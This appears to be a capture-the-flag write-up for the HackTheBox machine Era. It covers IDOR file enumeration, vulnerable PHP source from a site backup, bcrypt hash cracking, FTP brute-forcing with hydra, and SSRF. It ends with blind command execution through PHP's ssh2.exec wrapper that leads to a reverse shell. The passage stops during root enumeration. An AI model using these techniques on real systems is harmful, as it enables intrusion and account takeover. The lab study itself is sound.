Era

Era starts with a custom file upload website full of insecure direct object reference vulnerabilities. I’ll create an account and abuse one IDOR to download a site backup from the admin account. Then I’ll abuse an IDOR like vulnerability to get admin access to the site. The admin panel has a PHP vulnerability where I can get it to use the SSH module to login to the host and run commands, providing a reverse shell. From there, I’ll create my own signed binary to replace one that I can run with sudo to get root.

Box Info

Name Era Era
Play on HackTheBox
Release Date 26 Jul 2025
Retire Date 29 Nov 2025
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for Era
Radar Graph Radar chart for Era
First Blood User 01:22:58celesian
First Blood Root 01:33:14NLTE
Creator yurivich

Recon

Initial Scanning

nmap finds two open TCP ports, FTP (22) and HTTP (80):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.79
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-27 21:04 UTC
...[snip]...
Nmap scan report for 10.10.11.79
Host is up, received echo-reply ttl 63 (0.092s latency).
Scanned at 2025-07-27 21:04:04 UTC for 7s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.01 seconds
           Raw packets sent: 66854 (2.942MB) | Rcvd: 65890 (2.636MB)
oxdf@hacky$ nmap -p 21,80 -sCV 10.10.11.79
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-27 21:04 UTC
Nmap scan report for 10.10.11.79
Host is up (0.093s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.36 seconds

Based on the nginx version, the host is likely running Ubuntu 20.04 focal, though I’ve found nginx to be the least reliable of these for predicting OS.

Both ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

The webserver is returning a redirect to era.htb.

FTP - TCP 21

nmap typically identifies when anonymous login is allowed, but I’ll try it here just to be sure:

oxdf@hacky$ ftp anonymous@10.10.11.79
Connected to 10.10.11.79.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed

When I give an empty password it fails. I’ll have to come back when I get some creds.

Subdomain Brute Force

Given that nginx is routing based on the host, I’ll brute force for any subdomains of era.htb that respond differently from the default case with ffuf:

oxdf@hacky$ ffuf -u http://10.10.11.79 -H "Host: FUZZ.era.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.79
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 97ms]
:: Progress: [19966/19966] :: Job [1/1] :: 434 req/sec :: Duration: [0:00:46] :: Errors: 0 ::

It finds on additional subdomain, file.era.htb. I’ll add both to my /etc/hosts file:

10.10.11.79 era.htb file.era.htb

I’ll rescan port 80 with nmap by each vhost name, but there’s nothing super interesting.

era.htb - TCP 80

Site

The site is for an interior design company:

image-20250727170256778 expand

All the links in the nav bar go to anchors on the same index page. I’ll note three users on the “Team” section. There’s a contact us for, with an email (support@era.htb) as well as a form. Clicking the send message button doesn’t even generate an HTTP request, so it’s just a dummy form.

Tech Stack

The HTTP headers only show the standard nginx headers:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 27 Jul 2025 21:05:29 GMT
Content-Type: text/html
Last-Modified: Thu, 12 Dec 2024 17:32:36 GMT
Connection: keep-alive
ETag: W/"675b1e34-4c25"
Content-Length: 19493

The main page loads as /index.html, suggesting this is just a static site. The 404 page is the default nginx 404:

image-20250727170942409

Directory Brute Force

I’ll run feroxbuster against the site, and include -x html since I know the site is using static HTML pages:

oxdf@hacky$ feroxbuster -u http://era.htb --dont-extract-links -x html

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://era.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💲  Extensions            │ [html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        7l       12w      178c http://era.htb/css => http://era.htb/css/
200      GET      446l     1536w    19493c http://era.htb/
301      GET        7l       12w      178c http://era.htb/js => http://era.htb/js/
301      GET        7l       12w      178c http://era.htb/img => http://era.htb/img/
301      GET        7l       12w      178c http://era.htb/fonts => http://era.htb/fonts/
200      GET      446l     1536w    19493c http://era.htb/index.html
301      GET        7l       12w      178c http://era.htb/js/fancybox => http://era.htb/js/fancybox/
[####################] - 2m    180000/180000  0s      found:7       errors:0
[####################] - 2m     30000/30000   268/s   http://era.htb/ 
[####################] - 2m     30000/30000   269/s   http://era.htb/css/ 
[####################] - 2m     30000/30000   269/s   http://era.htb/js/ 
[####################] - 2m     30000/30000   269/s   http://era.htb/img/ 
[####################] - 2m     30000/30000   269/s   http://era.htb/fonts/ 
[####################] - 2m     30000/30000   269/s   http://era.htb/js/fancybox/    

I often use --dont-extract-links because it just clogs up the output with stuff I don’t care about, and I’ve already looked at the links on the page. Nothing interesting at all.

file.era.htb

Site

This site offers file hosting:

image-20250728061755207

The “Sign In” button leads to /login.php, and the other three also redirect there:

image-20250728061927917

No matter what usernames I guess, the error message is always the same, so it doesn’t look like I can enumerate usernames here:

image-20250728062459181

There’s no obvious link to register, but if I take a quick guess, register.php does exist:

image-20250728062328696

There’s also the “login using security questions” link:

image-20250728062423815

This form does seem to let me enumerate users, as the error message says:

image-20250728062717729

I’m not able to guess any users that don’t return that message with some manual guesses, but if I register an account and try with the wrong other answers, it returns:

image-20250728062800061

Tech Stack

The site is clearly PHP based on the file extensions. On first loading the page, it sets a PHPSESSID cookie as well:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 28 Jul 2025 01:20:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: PHPSESSID=ij2qg02sdtnrud04f7qplv3dcm; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 6765

Visiting /0xdf redirects to /, while visiting /0xdf.php returns the default nginx 404 page. This behavior makes sense, as nginx is probably hosting static files but redirecting PHP paths for execution by the php binary.

Directory Brute Force

I’ll run feroxbuster against the site, and include -x php since the site is PHP:

oxdf@hacky$ feroxbuster -u http://file.era.htb --dont-extract-links -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://file.era.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        7l       10w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      234l      559w     6765c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        7l       12w      178c http://file.era.htb/images => http://file.era.htb/images/
301      GET        7l       12w      178c http://file.era.htb/files => http://file.era.htb/files/
200      GET        1l        6w       70c http://file.era.htb/logout.php
302      GET        0l        0w        0c http://file.era.htb/download.php => login.php
200      GET      105l      233w     3205c http://file.era.htb/register.php
200      GET      327l      740w     9214c http://file.era.htb/login.php
301      GET        7l       12w      178c http://file.era.htb/assets => http://file.era.htb/assets/
302      GET        0l        0w        0c http://file.era.htb/upload.php => login.php
301      GET        7l       12w      178c http://file.era.htb/assets/css => http://file.era.htb/assets/css/
301      GET        7l       12w      178c http://file.era.htb/assets/css/images => http://file.era.htb/assets/css/images/
302      GET        0l        0w        0c http://file.era.htb/manage.php => login.php
200      GET        0l        0w        0c http://file.era.htb/layout.php
200      GET      662l     5535w    34524c http://file.era.htb/LICENSE
302      GET        0l        0w        0c http://file.era.htb/reset.php => login.php
[####################] - 2m    180000/180000  0s      found:14      errors:0      
[####################] - 2m     30000/30000   247/s   http://file.era.htb/ 
[####################] - 2m     30000/30000   248/s   http://file.era.htb/images/ 
[####################] - 2m     30000/30000   259/s   http://file.era.htb/files/ 
[####################] - 2m     30000/30000   248/s   http://file.era.htb/assets/ 
[####################] - 2m     30000/30000   248/s   http://file.era.htb/assets/css/ 
[####################] - 2m     30000/30000   248/s   http://file.era.htb/assets/css/images/        

Nothing I didn’t already find. If I don’t have /register.php at this point, it shows up here.

Authenticated Site

I’ll use the registration page to make an account and log in. I’m redirected to /manage.php:

image-20250728114107728

The “Upload Files” page has a form to upload. If I give it an image and upload, it works:

image-20250728114220647

The file is accessible at /download.php with a four digit ID passed as the id GET parameter. It’s also on the Manage page:

image-20250728114350957

Visiting that link actually returns another page:

image-20250728114455785

Clicking that goes to the same page with &dl=true at the end. If I increment the ID by one, it returns a File Not Found:

image-20250728114605182

The “Update Security Questions” panel has a form for that:

image-20250728120641853

It is odd that it asks for a username, as that should be known from the user’s cookie. Still, I don’t yet known any valid usernames. If I update my user, it implies it’s using the input username and not the cookie:

image-20250728121631694

Shell as eric

File ID Bruteforce - IDOR

I’ll setup ffuf to bruteforce file ids to see what happens if I find another user’s file with the following options:

  • -u <url> - The URL to fuzz, with the id parameter marked for replacement.
  • -H "Cookie:..." - Without auth, everything just returns a redirect to login.
  • -w <( seq 0 5100) - ffuf can’t generate a sequence on it’s own, but rather requires a file. I’ll use process substitution to generate a list and pass it in from the seq command.
  • -fr 'File Not Found' - Tell ffuf to hide responses that include this string.

It finds three files (the last of which is mine):

oxdf@hacky$ ffuf -u http://file.era.htb/download.php?id=FUZZ -H "Cookie: PHPSESSID=ij2qg02sdtnrud04f7qplv3dcm" -w <( seq 0 5100) -fr 'File Not Found'

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://file.era.htb/download.php?id=FUZZ
 :: Wordlist         : FUZZ: /dev/fd/63
 :: Header           : Cookie: PHPSESSID=ij2qg02sdtnrud04f7qplv3dcm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: File Not Found
________________________________________________

54                      [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 94ms]
150                     [Status: 200, Size: 6366, Words: 2552, Lines: 222, Duration: 94ms]
5094                    [Status: 200, Size: 6364, Words: 2552, Lines: 222, Duration: 93ms]
:: Progress: [5101/5101] :: Job [1/1] :: 425 req/sec :: Duration: [0:00:12] :: Errors: 0 ::

I’m able to access them. For example, 54:

image-20250728115400127

I’ll download both 54 and 150, exploiting an IDOR vulnerability.

signing.zip has two cryptographic files:

oxdf@hacky$ unzip -l signing.zip 
Archive:  signing.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     2949  2025-01-26 02:09   key.pem
      355  2025-01-26 02:09   x509.genkey
---------                     -------
     3304                     2 files

I’ll come back to this later.

Site Source Code

Overview

The site backup archive has the site files:

oxdf@hacky$ ls
bg.jpg         files                 layout_login.php  logout.php    reset.php            screen-main.png     upload.php
css            functions.global.php  layout.php        main.png      sass                 screen-manage.png   webfonts
download.php   index.php             LICENSE           manage.php    screen-download.png  screen-upload.png
filedb.sqlite  initial_layout.php    login.php         register.php  screen-login.png     security_login.php

Question Reset

reset.php has the code for resetting the security questions:

// Process POST submission    
if ($_SERVER["REQUEST_METHOD"] === "POST") {                       
    $username = trim($_POST['username'] ?? '');            
    $new_answer1 = trim($_POST['new_answer1'] ?? '');
    $new_answer2 = trim($_POST['new_answer2'] ?? '');
    $new_answer3 = trim($_POST['new_answer3'] ?? '');

    if ($username === '' || $new_answer1 === '' || $new_answer2 === '' || $new_answer3 === '') {
        $error_message = "All fields are required.";               
    } else {                   
        $query = "UPDATE users SET security_answer1 = ?, security_answer2 = ?, security_answer3 = ? WHERE user_name = ?";
        $stmt = $db->prepare($query);                              
        $stmt->bindValue(1, $new_answer1, SQLITE3_TEXT);           
        $stmt->bindValue(2, $new_answer2, SQLITE3_TEXT);                                                                               
        $stmt->bindValue(3, $new_answer3, SQLITE3_TEXT);
        $stmt->bindValue(4, $username, SQLITE3_TEXT);

        if ($stmt->execute()) {  
            $operation_successful = true;
        } else {
            $error_message = "Error updating security questions. Please try again.";
        }
    }
}

This block presents an issue. It’s taking the user input username and building the update statement. This means (as I guessed) that any user can update any other user’s security questions, and thus login.

Download

The download.php file has interesting logic as well:

if (!$realFile) {
        echo deliverTop("Era - Download");

        echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");

        echo deliverBottom();
} else {
        $fileName = str_replace("files/", "", $fetched[0]);

        // Allow immediate file download
        if ($_GET['dl'] === "true") {
                header('Content-Type: application/octet-stream');
                header("Content-Transfer-Encoding: Binary");
                header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
                readfile($fetched[0]);
        // BETA (Currently only available to the admin) - Showcase file instead of downloading it
        } elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
                $format = isset($_GET['format']) ? $_GET['format'] : '';
                $file = $fetched[0];

                if (strpos($format, '://') !== false) {
                        $wrapper = $format;
                        header('Content-Type: application/octet-stream');
                } else {
                        $wrapper = '';
                        header('Content-Type: text/html');
                }

                try {
                        $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
                        $full_path = $wrapper ? $wrapper . $file : $file;
                        // Debug Output
                        echo "Opening: " . $full_path . "\n";
                        echo $file_content;
                } catch (Exception $e) {
                        echo "Error reading file: " . $e->getMessage();
                }

        // Allow simple download
        } else {
                echo deliverTop("Era - Download");
                echo deliverMiddle_download("Your Download Is Ready!", $fileName, '<a href="download.php?id='.$_GET['id'].'&dl=true"><i
 class="fa fa-download fa-5x"></i></a>');

        }

}

Most of that looks like what I would expect, but there’s a special branch for when dl is not set to “true” and the user id (erauser) is 1 (presumably the admin). This takes a format GET parameter, which is renamed to wrapper and used as a protocol to get a file through fopen. This opens a lot of possibilities if I can get access as the id 1 user.

login.php confirms that the user id is what’s stored in erauser on login:

    if (!in_array($login_username, $valid_usernames)) {
        $error_message = 'Invalid username or password.';
    } else {                 
        $relevant_password_hash = contactDB("SELECT user_password FROM users WHERE user_name='$login_username';", 0)[0];
        $relevant_user_id = contactDB("SELECT user_id FROM users WHERE user_name='$login_username';", 0)[0];
                                 
        if (password_verify($_POST['password'], $relevant_password_hash)) {
            $_SESSION['eravalid'] = true;
            $_SESSION['erauser'] = $relevant_user_id;
            header('Location: manage.php');
            exit;
        } else {
            $error_message = 'Invalid username or password.';
            $_SESSION['eravalid'] = false;
            $_SESSION['erauser'] = null;
        }
    }

Database

Enumeration

There’s also a SQLite database in the backup:

oxdf@hacky$ file filedb.sqlite 
filedb.sqlite: SQLite 3.x database, last written using SQLite version 3037002, file counter 93, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 93

It has two tables:

oxdf@hacky$ sqlite3 filedb.sqlite
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
files  users

files has one file:

sqlite> select * from files;
54|files/site-backup-30-08-24.zip|1|1725044282

users shows six users:

sqlite> select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||

User with ID 1 is admin_ef01cab31aa!

Crack Hashes

I’m not yet aware that I’ll need them because I have the security questions reset, but it’s still worth trying to crash these hashes. I’ll save the usernames and hashes to a file:

admin_ef01cab31aar:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC

And pass it to hashcat:

$ hashcat --user filedb.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
The following 4 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  25600 | bcrypt(md5($pass)) / bcryptmd5                             | Forums, CMS, E-Commerce
  25800 | bcrypt(sha1($pass)) / bcryptsha1                           | Forums, CMS, E-Commerce
  28400 | bcrypt(sha512($pass)) / bcryptsha512                       | Forums, CMS, E-Commerce

Please specify the hash-mode with -m [hash-mode].
...[snip]...

The login code showed using password_verify, which uses plain bcrypt.

$ hashcat --user filedb.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt -m 3200
hashcat (v6.2.6) starting
...[snip]...
$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
...[snip]...
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang
...[snip]...

Two hashes crack pretty quickly. The rest never do. But I have passwords for eric and yuri:

$ hashcat --user filedb.hashes --show -m 3200
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang

FTP

Access [Intended Path]

I can check eric and yuri against FTP. eric fails before even asking for a password:

oxdf@hacky$ ftp eric@era.htb
Connected to era.htb.
220 (vsFTPd 3.0.5)
530 Permission denied.
ftp: Login failed

yuri’s password works:

oxdf@hacky$ ftp yuri@era.htb
Connected to era.htb.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

Access [Unintended]

To log in, I’ll need to know usernames. I note above that the “Log in Using Security Questions” is vulnerable to username enumeration. I’ll show this with curl:

oxdf@hacky$ curl -s -d 'username=0xdf&answer1=0xdf&answer2=0xdf&answer3=0xsdf' 'http://file.era.htb/security_login.php' | grep "User not found."
oxdf@hacky$ curl -s -d 'username=not_a_user&answer1=0xdf&answer2=0xdf&answer3=0xsdf' 'http://file.era.htb/security_login.php' | grep "User not found."
        <div class='error'>User not found.</div>        <form action="/security_login.php" method="post" autocomplete="off">

I’ll use ffuf to bruteforce usernames:

oxdf@hacky$ ffuf -d 'username=FUZZ&answer1=0xdf&answer2=0xdf&answer3=0xsdf' -u http://file.era.htb/security_login.php -w /opt/SecLists/Usernames/Names/names.txt  -H 'Content-Type: application/x-www-form-urlencoded' -fr 'User not found.'

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://file.era.htb/security_login.php
 :: Wordlist         : FUZZ: /opt/SecLists/Usernames/Names/names.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=FUZZ&answer1=0xdf&answer2=0xdf&answer3=0xsdf
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: User not found.
________________________________________________

eric                    [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 93ms]
ethan                   [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 92ms]
john                    [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 92ms]
veronica                [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 93ms]
yuri                    [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 94ms]
:: Progress: [10177/10177] :: Job [1/1] :: 429 req/sec :: Duration: [0:00:24] :: Errors: 0 ::

Now, I can check for weak passwords on FTP using hydra:

oxdf@hacky$ hydra -L users -P /opt/SecLists/Passwords/500-worst-passwords.txt ftp://era.htb
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-28 21:47:30
[DATA] max 16 tasks per 1 server, overall 16 tasks, 2994 login tries (l:6/p:499), ~188 tries per task
[DATA] attacking ftp://era.htb:21/
[STATUS] 259.00 tries/min, 259 tries in 00:01h, 2735 to do in 00:11h, 16 active
[STATUS] 425.67 tries/min, 1277 tries in 00:03h, 1717 to do in 00:05h, 16 active
[STATUS] 324.71 tries/min, 2273 tries in 00:07h, 721 to do in 00:03h, 16 active
[21][ftp] host: era.htb   login: yuri   password: mustang
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-28 21:55:27

I’m only giving it a small password list, and it’s very slow, but it finds yuri’s access.

FTP Enumeration

There are two directories:

ftp> ls
229 Entering Extended Passive Mode (|||24421|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 apache2_conf
drwxr-xr-x    3 0        0            4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.

apache2_conf has four files:

ftp> ls
229 Entering Extended Passive Mode (|||19007|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0            1332 Dec 08  2024 000-default.conf
-rw-r--r--    1 0        0            7224 Dec 08  2024 apache2.conf
-rw-r--r--    1 0        0             222 Dec 13  2024 file.conf
-rw-r--r--    1 0        0             320 Dec 08  2024 ports.conf
226 Directory send OK.

Nothing super interesting in here.

The php8.1_conf has a lot more:

ftp> ls
229 Entering Extended Passive Mode (|||15465|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 build
-rw-r--r--    1 0        0           35080 Dec 08  2024 calendar.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 ctype.so
-rw-r--r--    1 0        0          190728 Dec 08  2024 dom.so
-rw-r--r--    1 0        0           96520 Dec 08  2024 exif.so
-rw-r--r--    1 0        0          174344 Dec 08  2024 ffi.so
-rw-r--r--    1 0        0         7153984 Dec 08  2024 fileinfo.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 ftp.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 gettext.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 iconv.so
-rw-r--r--    1 0        0         1006632 Dec 08  2024 opcache.so
-rw-r--r--    1 0        0          121096 Dec 08  2024 pdo.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 pdo_sqlite.so
-rw-r--r--    1 0        0          284936 Dec 08  2024 phar.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 posix.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 readline.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 shmop.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 simplexml.so
-rw-r--r--    1 0        0          104712 Dec 08  2024 sockets.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 sqlite3.so
-rw-r--r--    1 0        0          313912 Dec 08  2024 ssh2.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvmsg.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 sysvsem.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvshm.so
-rw-r--r--    1 0        0           35080 Dec 08  2024 tokenizer.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 xml.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 xmlreader.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 xmlwriter.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 xsl.so
-rw-r--r--    1 0        0           84232 Dec 08  2024 zip.so
226 Directory send OK.

There’s no need to collect all these files, but it is worth noting the extensions available to PHP, specifically ssh2.so.

RCE

Admin Web Access

Logged in as my registered user, I’ll update the security questions for admin_ef01cab31aa. It works, and I’m able to log in:

image-20250728140517020

The two files I’ve collected with the IDOR vulnerability are legitimately here.

I’ll upload an image file, and try to use the show parameter. It’s not super useful. Visiting /download.php?id=7964&show=true&format=image/png just returns the output of the fopen function:

image-20250728140844829

SSRF

If I set the format to a URL, it will try to connect to it. For example, I’ll give /download.php?id=7964&show=true&format=http://10.10.14.6/test, and at my Python webserver:

10.10.11.79 - - [28/Jul/2025 18:25:31] code 404, message File not found
10.10.11.79 - - [28/Jul/2025 18:25:31] "GET /testfiles/0xdf.png HTTP/1.1" 404 -

It seems to append files/<filename> to the end of the format, which makes sense given the source.

SSH RCE

The PHP docs for SSH2 show it adds a few wrappers. ssh2.exec:// seems most interesting. I’ll try running a command using the format from the docs:

ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd

I’ll load a request in Burp Repeater and give it a go. I’ll need a # (or ;) to end the line making sure the files/<filename> don’t mess up the command. The output is blind, so I can’t do id. But a ping works:

image-20250728141808910

At my listening tcpdump, there’s ICMP:

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
18:32:49.529520 IP 10.10.11.79 > 10.10.14.6: ICMP echo request, id 1, seq 1, length 64
18:32:49.529557 IP 10.10.14.6 > 10.10.11.79: ICMP echo reply, id 1, seq 1, length 64

That’s RCE. It works with yuri’s creds as well.

Shell

To convert this to a shell, I’ll use a bash reverse shell:

image-20250728141948386

At my nc:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.79 40414
bash: cannot set terminal process group (35553): Inappropriate ioctl for device
bash: no job control in this shell
eric@era:~$

I’ll upgrade the shell using the standard trick:

eric@era:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
eric@era:~$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
            reset
reset: unknown terminal type unknown
Terminal type? screen
eric@era:~$ 

And grab user.txt:

eric@era:~$ cat user.txt
62bbefa8************************

Shell as root

Enumeration

Users

eric’s home directory is very empty:

eric@era:~$ ls -la
total 28
drwxr-x--- 5 eric eric 4096 Jul 22 08:42 .
drwxr-xr-x 4 root root 4096 Jul 22 08:42 ..
lrwxrwxrwx 1 root root    9 Jul  2 09:15 .bash_history -> /dev/null
